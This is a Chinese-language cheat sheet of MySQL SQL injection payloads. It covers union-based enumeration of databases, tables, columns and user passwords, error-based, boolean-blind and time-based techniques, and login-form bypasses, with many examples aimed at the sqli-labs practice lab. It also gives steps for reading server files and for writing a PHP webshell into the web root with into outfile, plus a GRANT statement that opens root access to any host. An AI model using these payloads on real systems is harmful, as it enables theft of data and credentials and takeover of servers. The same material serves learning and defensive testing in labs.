0x00 mysql一般注入(select)
1.注释符
#
/*
--
2.过滤空格注入
使用/**/或()或+代替空格
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
3.多条数据显示
concat()
group_concat()
concat_ws()
4.相关函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
5.mysql一般注入语句
判断注入类型
- 加单引号’
比如:从报错信息判断,令id=-1’,报错:
(为什么是id = -1不是1,因为源码有limit 0,1限制只输出第一条数据,若是1,则输出id=1的数据,我们想要的数据就显示不了,所以用-1就只输出我们要的数据)
-
或者用id =1 and 1=2 来使语句为假。
将near和at之间字符串的左右引号去掉,得到'-1'') LIMIT 0,1。-1的右边多了一个',后面还有个括号,代码应该是id=('$id')
则需要闭合(‘ ’)
- 加双引号”
单引号没反应,可能是由双引号闭合了,单引号在双引号内是合法的,此时加双引号“测试。
猜字段数
order by n/*
查看mysql基本信息
- and 1=2 的作用是,令前面id=1 and 1=2 为假,不输出内容,这样就可以输出我们后面union 语句的内容了。
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
查询数据库
and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
查询表名
and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*
查询字段
and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码/*
查询数据
and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*
and 1=2 union select 1,username,password from users limit 0,1 %23
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- -
判断是否具有读写权限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*
6.mysql读取写入文件
必备条件:
读:file权限必备
写:
- 绝对路径
- union使用
- 可以使用''
-------------------------读----------------------
mysql3.x读取方法
create table a(cmd text);
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;
select * from a;
mysql4.x读取方法
除上述方法还可以使用load_file()
create table a(cmd text);
insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));
select * from a;
mysql5.x读取方法
上述两种都可以
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)
------------写--------------------------
into outfile写文件
union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
0x01 mysql一般注入(insert、update)
mysql一般请求mysql_query不支持多语句执行,mysqli可以。
insert注入多使用报错注入!
1. 如果可以直接插入管理员可以直接使用!
insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');
2. 如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell
update注入同上
0x02 mysql报错注入
1. [sqli-lab-less5(get)/13(post):正常情况不输出任何数据,所以要用报错注入的方法]
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
2. and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1
3. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--
4.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);
5.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));
0x03 mysql基于布尔的盲注
- 盲注:没有返回错误信息,用盲注
- 基于布尔型:
or 1=1
and 1=1
使用ascii
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<115 ) -- +
AND ascii(substring((SELECT password FROM users where id=1),1,1))=49
使用正则表达式
and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
0x04 mysql基于时间的盲注
- 基于时间:
and sleep(5) -- -
1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl
UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root'
0x05 mysql其他注入技巧
1 outfile 注入[sqli-labs-less-7]
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 into outfile "C:/wamp/www/sqli-labs-master/Less-7/2.txt" --+
2 post 方法(and 改成or)
2.1[sqli-labs-less-11]
-
单引号测试
-
知道是单引号类型,抓包看post参数
-
测试 ‘ or 1=1 -- -
payload
- 判断字段数
uname=123' order by 2-- - &passwd=123&submit=Submit
- 爆数据库
uname=123' union select database(),version() -- - &passwd=123&submit=Submit
- 爆表
uname=123' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database( ) -- - &passwd=123&submit=Submit
- 爆字段
uname=123' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- - &passwd=123&submit=Submit
- 爆数据
uname=123' union select username,password from security.users limit 0,1-- - &passwd=123&submit=Submit
2.2 post-报错注入 [sqli-labs-less-13]
- 正常不显示任何数据--报错注入
- 爆库
uname=123') or (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
- 爆表
uname=123') or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
- 爆字段
uname=123') or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
4.爆数据
uname=123') or (select 1 from (select count(*),concat((select username from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
0x06 mysql数据库版本特性
1. mysql5.0以后 information.schema库出现
2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下
3. mysql5.x以后 system执行命令
